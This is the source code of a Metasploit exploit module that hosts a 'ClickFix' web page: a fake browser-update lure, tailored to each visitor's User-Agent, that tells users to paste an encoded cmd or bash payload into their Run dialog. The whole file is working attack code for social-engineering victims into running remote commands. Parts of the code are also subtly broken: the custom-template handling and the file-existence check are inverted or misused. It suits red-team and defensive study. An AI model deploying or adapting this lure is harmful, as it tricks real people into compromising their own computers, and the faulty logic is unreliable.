Path: blob/master/modules/exploits/multi/misc/clickfix_server.rb
74550 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'base64'67class MetasploitModule < Msf::Exploit::Remote8Rank = ExcellentRanking910include Msf::Exploit::Remote::HttpServer1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'ClickFix Server',17'Description' => %q{18This creates a Web Server which hosts a ClickFix type exploit.19When a user visits the site they are given instructions on pasting20our payload into a run dialog.2122When using a custom html page, please use INSERT_PAYLOAD_HERE as the23spot to put the generated payload in.24},25'License' => MSF_LICENSE,26'Author' => [27'h00die', # msf module28'boredchilada' # clickfix template inspiration29],30'References' => [31['URL', 'https://www.hhs.gov/sites/default/files/clickfix-attacks-sector-alert-tlpclear.pdf'],32['URL', 'https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/'],33['URL', 'https://github.com/boredchilada/clickfix-simulator-2025'],34['URL', 'https://www.recordedfuture.com/research/clickfix-campaigns-targeting-windows-and-macos']35],36'Payload' => {37'Space' => 245, # Reserve room for wrapper so final command fits Run dialog max38'DisableNops' => true39},40'Arch' => [ARCH_CMD],41'Stance' => Msf::Exploit::Stance::Passive,42'Passive' => true,43'Targets' => [44['Windows', { 'Platform' => 'win' }],45['Linux', { 'Platform' => ['linux', 'unix'] }]46],47'DisclosureDate' => '2023-01-01',48'DefaultTarget' => 0,49'Notes' => {50'AKA' => ['ClickFix', 'ClearFake', 'Fake Update', 'CrashFix'],51'Stability' => [CRASH_SAFE],52'SideEffects' => [],53'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT]54}55)56)57# set the default port, and a URI that a user can set if the app isn't installed to the root58register_options(59[60OptPort.new('SRVPORT', [true, 'Web Server Port', 80]),61OptEnum.new('TEMPLATE', [ true, 'Template style to use', 'auto', %w[auto custom]]),62OptPath.new('CUSTOM', [false, 'Custom Template Path', ''], conditions: ['TEMPLATE', '==', 'custom'])63]64)65end6667def on_request_uri(cli, request)68if request.method == 'GET'69user_agent = request['User-Agent']70print_status("Request #{request.uri} from #{user_agent}")71# get our payload stubbed72if target.name == 'Windows'73p_load = payload.encoded.gsub(' start /B', '') # 'start /B' only works on cmd, not in the run dialog box74p_load = "cmd /c \"#{p_load}\"" # run command dialog can't use & so we wrap in cmd75else76# Linux Application Finder can't have ; so wrap it in bash77p_load = "bash -c \"#{payload.encoded}\""78end79case datastore['TEMPLATE']80when 'custom'81template = ::File.read(::File.read(datastore['CUSTOM'], mode: 'rb'))82template.gsub!('INSERT_PAYLOAD_HERE', Base64.strict_encode64(p_load))83send_response(cli, ::File.read(datastore['CUSTOM'], mode: 'rb'))84else85template = ::File.read(File.join(Msf::Config.data_directory, 'exploits', 'clickfix', 'browser_update.html'))86template.gsub!('INSERT_PAYLOAD_HERE', Base64.strict_encode64(p_load))87if user_agent =~ %r{Edg/}88version = user_agent.match(%r{Edg/([\d.]+)})89template.gsub!('120.0.6099.0', version[1]) if version90template.gsub!('Google Chrome', 'Microsoft Edge')91template.gsub!('Chrome', 'Edge') if version92elsif user_agent =~ /Chrome/93version = user_agent.match(%r{Chrome/([\d.]+)})94template.gsub!('120.0.6099.0', version[1]) if version95elsif user_agent =~ /Firefox/96version = user_agent.match(%r{Firefox/([\d.]+)})97template.gsub!('120.0.6099.0', version[1]) if version98template.gsub!('Google Chrome', 'Mozilla Firefox')99template.gsub!('Chrome', 'Firefox') if version100else101# assume chrome based on marketshare102fake_version = "#{rand(201..400)}.0.#{rand(1000..9999)}.0"103template.gsub!('120.0.6099.0', fake_version)104end105send_response(cli, template)106end107end108end109110def run111if datastore['TEMPLATE'] == 'custom' && File.exist?(datastore['CUSTOM'])112fail_with(Failure::BadConfig, "Custom template path not found: #{datastore['CUSTOM']}")113end114exploit # start http server115end116end117118119